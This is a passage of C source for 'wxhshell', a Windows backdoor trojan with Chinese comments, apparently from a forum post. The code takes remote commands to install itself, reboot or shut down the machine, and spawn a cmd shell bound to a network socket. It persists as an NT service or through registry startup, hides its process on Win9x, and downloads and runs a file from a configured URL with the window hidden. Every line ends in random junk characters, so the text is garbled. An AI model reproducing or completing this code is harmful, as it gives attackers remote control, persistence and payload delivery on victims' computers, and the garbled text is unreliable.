  T7W*S-IW  
  // 帮助 FrSeR9b  
  case '?': { q9n0bw^N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \! 8`kC  
    break; Ed/@&52z0  
  } G@Dw  
  // 安装 yVPkJ  
  case 'i': { s)]Z*#ZZ  
    if(Install()) [kqxC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "4FL<6  
    else #&\hgsw/T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A%u@xL,_  
    break; [P*3ld,,G%  
    } Xq&x<td  
  // 卸载 YWA:741  
  case 'r': { F<q3{}1zR  
    if(Uninstall()) P=& Je?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xh> /bU!>  
    else %l@Q&)f8e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ak50]KYo  
    break; ]?F05!$*  
    } ?r@euZ&  
  // 显示 wxhshell 所在路径 P9J3Ii!  
  case 'p': { JbYv <  
    char svExeFile[MAX_PATH]; >Uvtsj#  
    strcpy(svExeFile,"\n\r"); h Ia{s)  
      strcat(svExeFile,ExeFile); zY8"\ZB  
        send(wsh,svExeFile,strlen(svExeFile),0); [d!C6FT  
    break; zTY|Z@:  
    } $4kc i@.  
  // 重启 G?QFF6)}!  
  case 'b': { K@VXFV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q{f%U.  
    if(Boot(REBOOT)) 8QYG"CA6/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H<`[,t  
    else { XzQ=8r>l  
    closesocket(wsh); t Zj6=#  
    ExitThread(0); :^kP?  
    } kETA3(h'  
    break;  Xvs{2  
    } 4:cbasy  
  // 关机 n:he`7.6O  
  case 'd': { 6K P!o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lf|e8kU\f  
    if(Boot(SHUTDOWN)) :=~%&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "<6pp4*I  
    else { w;QDQ fx0  
    closesocket(wsh); /+RNPQO O  
    ExitThread(0); +,>f-kaV  
    } p%IR4f  
    break; qx{.`AaZW  
    } p"H8;fPA0  
  // 获取shell CpS' 2@6  
  case 's': { OJ UM Y<5  
    CmdShell(wsh); EhB9M!Y`@  
    closesocket(wsh); G !1- 20  
    ExitThread(0); C4Z~9fzT  
    break; `1EBnL_1  
  } <zZAVGb4I  
  // 退出 w#F+rh3  
  case 'x': { N/{A ' Wd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); * {4cc  
    CloseIt(wsh); F:pXdU-xf  
    break; xxkP4,(p  
    } 10#!{].#x  
  // 离开 bwVv#Z\r  
  case 'q': { qoZ*sV  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3jS=  
    closesocket(wsh); YfMe69/0I  
    WSACleanup(); =_":Z!_  
    exit(1); Y ga}8DU  
    break; LOnhFX   
        } 2zFdKs,  
  } ,xD{A}}V  
  } =AD/5E,3  
Ka_UVKwMro  
  // 提示信息 h*MR5qa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _9z/>e  
} ^<E+7  
  } rG\m]C3E  
ik$wS#1+L  
  return; # Jdip)  
} ~5!ukGK_  
i[\[xfk  
// shell模块句柄 IN%>46e`  
int CmdShell(SOCKET sock) k2t?e:)3zr  
{ vhL&az  
STARTUPINFO si; "~V}MPt  
ZeroMemory(&si,sizeof(si)); oVq@M  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |ni cvg@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JG( <  
PROCESS_INFORMATION ProcessInfo; Q%eBm_r;  
char cmdline[]="cmd"; _O!D*=I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VBH[aIW  
  return 0; Ec\x;li! *  
} zr[~wM  
p +T&9  
// 自身启动模式 ]~K&mNo  
int StartFromService(void) %ly;2H Ik  
{ Qy70/on9  
typedef struct *z+\yfOO"  
{ vlPE8U=  
  DWORD ExitStatus; z9'0&G L  
  DWORD PebBaseAddress; `+f\Q2]Z  
  DWORD AffinityMask; 0l:5hD,)F  
  DWORD BasePriority; =TP>Y"  
  ULONG UniqueProcessId; )I>rC%2P  
  ULONG InheritedFromUniqueProcessId; * QR7t:([  
}   PROCESS_BASIC_INFORMATION; SRD&Uf0M  
Dw #&x/G  
PROCNTQSIP NtQueryInformationProcess; CYn}wkz  
Z|/):nVP7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d#d~t[=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `UI)H*GA8  
L_.}z)S[\  
  HANDLE             hProcess; l3afuD :  
  PROCESS_BASIC_INFORMATION pbi; up1aFzY|6x  
Ue8D:C M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IY19G U9  
  if(NULL == hInst ) return 0; v8@dvT<  
7wqwDE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t<k8.9 M$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \'EWur"  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); FG H>;H@  
JdRs=#X  
  if (!NtQueryInformationProcess) return 0; AFFLnLA<L  
TkBBHg;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E\zhxiI  
  if(!hProcess) return 0; C IDL{i8  
j<KC$[Kt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ul%bo%&~  
etoE$2c  
  CloseHandle(hProcess); 0?7uqS#L  
X^W> "q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FSmi.7  
if(hProcess==NULL) return 0; [GP( r  
v wyDY%B"n  
HMODULE hMod; N93E;B  
char procName[255]; ^%d{i'9?  
unsigned long cbNeeded; 1IV 0a  
K;qZc\q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wuk7mIJ  
U. aa iX7  
  CloseHandle(hProcess); duS #&w  
8joQPHkI\  
if(strstr(procName,"services")) return 1; // 以服务启动 a  98  
x/7G0K2\}  
  return 0; // 注册表启动 %RN-J*s]  
} sb @hGS  
FJLJ;]`7+  
// 主模块 a~* V  
int StartWxhshell(LPSTR lpCmdLine) 5u46Vl{  
{ #:|Y(,c  
  SOCKET wsl; !I[n|r"  
BOOL val=TRUE; ?I'-C?(t@1  
  int port=0; i6d$/ yP"  
  struct sockaddr_in door; BFO Fes`>~  
k&/ )g3(N(  
  if(wscfg.ws_autoins) Install(); tA-B3 ]  
N%f!B"NQ  
port=atoi(lpCmdLine); pQ 6#L  
H/k W :k  
if(port<=0) port=wscfg.ws_port; b8.%?_?  
L"iyjL<M  
  WSADATA data; -;\+uV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; pV6HQ:y1  
p'uz2/g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i)L:VkN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N1~V +_mM  
  door.sin_family = AF_INET; "Y]ZPFh#.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); r^t{Ii ~  
  door.sin_port = htons(port); b 0b9#9x  
9.zQ<k2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zd U{`>v  
closesocket(wsl); !>< %\K  
return 1; \Byk`} 9  
} pPqN[OJ  
 - 1  
  if(listen(wsl,2) == INVALID_SOCKET) { g>xUS_d>  
closesocket(wsl); +.]}f}Y  
return 1; IZ0$=aB7  
} J7ekIQgR  
  Wxhshell(wsl); YC&jKx.>  
  WSACleanup(); RLz`aBT  
SP*JleQN  
return 0; C9U {^  
d^5SeCs6  
} 6 2`PK+  
r!$NZ2I  
// 以NT服务方式启动 Q 95  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sV^h#g~Zb  
{ 5o| !f  
DWORD   status = 0; kbYg4t]FH  
  DWORD   specificError = 0xfffffff; //M4Sq(  
%HF$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ' ?G[T28  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LAY)">*49H  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .x!7  
  serviceStatus.dwWin32ExitCode     = 0; '<D`:srV  
  serviceStatus.dwServiceSpecificExitCode = 0; te*Y]-&I|/  
  serviceStatus.dwCheckPoint       = 0; e#6&uFce  
  serviceStatus.dwWaitHint       = 0; 2Z`$  
kE_@5t7O{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mU+FQX  
  if (hServiceStatusHandle==0) return; HCjn9  
(L0 hS'  
status = GetLastError(); lDJd#U'V  
  if (status!=NO_ERROR) Q)6wkY+!  
{ [ lzy &To  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5'kTe=  
    serviceStatus.dwCheckPoint       = 0; L.0} UXd  
    serviceStatus.dwWaitHint       = 0; P"=UI$HN  
    serviceStatus.dwWin32ExitCode     = status; 8q~FUJhU  
    serviceStatus.dwServiceSpecificExitCode = specificError; pl#o!j(i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bmO__1  
    return; 5{ 4"JO3  
  } eY 4`k  
XW~ BEa  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Q}Ze-JIL$  
  serviceStatus.dwCheckPoint       = 0; [  t  
  serviceStatus.dwWaitHint       = 0; LN.Bd,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); urrO1  
} O& 3r*vd  
wI@zPVY_i  
// 处理NT服务事件,比如:启动、停止 Lf; ta  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -y l4tW  
{ AY&9JSu 6  
switch(fdwControl) [/AdeR  
{ %;<k(5bhGJ  
case SERVICE_CONTROL_STOP: *CH!<VB/  
  serviceStatus.dwWin32ExitCode = 0; Zr.\`mG4f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hB P$9GR  
  serviceStatus.dwCheckPoint   = 0; E?Qz/*'zv  
  serviceStatus.dwWaitHint     = 0; lTV@b&  
  { +Q SxYV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +H[}T ]  
  } ;/?Z<[B  
  return; agU%z:M{  
case SERVICE_CONTROL_PAUSE: A;fB6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3@PUg(M  
  break; ;L G %s  
case SERVICE_CONTROL_CONTINUE: 1A%N0#_(Md  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 24H^ hN9  
  break; 60hNCVq%  
case SERVICE_CONTROL_INTERROGATE: 4;BW  
  break; |t4Gz1"q=8  
}; J ?ztn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .N5h V3  
} 6\,DnO   
'DCKD4@C/  
// 标准应用程序主函数 .)i O Du  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6CcB-@n4  
{ 935-{h@k  
OwG6i|q  
// 获取操作系统版本 /*u#Ba<<  
OsIsNt=GetOsVer(); xb4Pt`x)rS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g(-;_j!=  
F^.om2V|9  
  // 从命令行安装 pT("2:)x  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0V<Aub[${  
zyaW3th  
  // 下载执行文件 &u+yM D  
if(wscfg.ws_downexe) { "%{,T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) opm?':Qst  
  WinExec(wscfg.ws_filenam,SW_HIDE); E:08%4O  
} Q=d.y&4%  
+<pVf%u5  
if(!OsIsNt) { SQh+5  
// 如果时win9x,隐藏进程并且设置为注册表启动 hMNJ'i}  
HideProc(); zWy ,Om8P  
StartWxhshell(lpCmdLine); siZr@g!L  
} 8K|J:[7  
else i/NDWVFD  
  if(StartFromService()) &}vR(y*#c  
  // 以服务方式启动 ~'NX~<m  
  StartServiceCtrlDispatcher(DispatchTable); ;$vLq&(}  
else x1t{SQ-C  
  // 普通方式启动 seu ~'s-  
  StartWxhshell(lpCmdLine); 6D/uo$1Y  
n4^~gT%b5]  
return 0; IZO@V1-m  
}
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只看该作者 1 发表于: 2006-10-10
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